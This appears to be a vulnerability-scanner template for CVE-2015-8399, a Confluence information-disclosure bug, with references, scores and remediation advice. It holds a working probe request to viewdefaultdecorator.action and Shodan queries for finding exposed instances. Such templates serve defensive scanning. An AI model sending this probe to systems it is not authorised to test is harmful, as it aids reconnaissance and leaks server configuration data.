id: CVE-2015-8399

info:
  name: Atlassian Confluence <5.8.17 - Information Disclosure
  author: princechaddha
  severity: medium
  description: Atlassian Confluence before 5.8.17 contains an information disclsoure vulnerability. A remote authenticated user can read configuration files via the decoratorName parameter to (1) spaces/viewdefaultdecorator.action or (2) admin/viewdefaultdecorator.action.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information.
  remediation: |
    Upgrade to a version higher than 5.8.17 to mitigate the vulnerability.
  reference:
    - https://jira.atlassian.com/browse/CONFSERVER-39704?src=confmacro
    - https://www.exploit-db.com/exploits/39170/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-8399
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-8399
    cwe-id: CWE-200
    epss-score: 0.61114
    epss-percentile: 0.99042
    cpe: cpe:2.3:a:atlassian:confluence:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: confluence
    shodan-query:
      - http.component:"Atlassian Confluence"
      - cpe:"cpe:2.3:a:atlassian:confluence"
      - http.component:"atlassian confluence"
  tags: cve2015,cve,edb,atlassian,confluence,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/spaces/viewdefaultdecorator.action?decoratorName"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "confluence-init.properties"
          - "View Default Decorator"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100de164c7d23782d2b2b613b5d42f7bc92554844c441c4b3e98c8f3b449e93c66902207863babb14358eef09ce3868cd6e0e643d270f96408df903e1c6a79928187afe:922c64590222798bb761d5b6d8e72950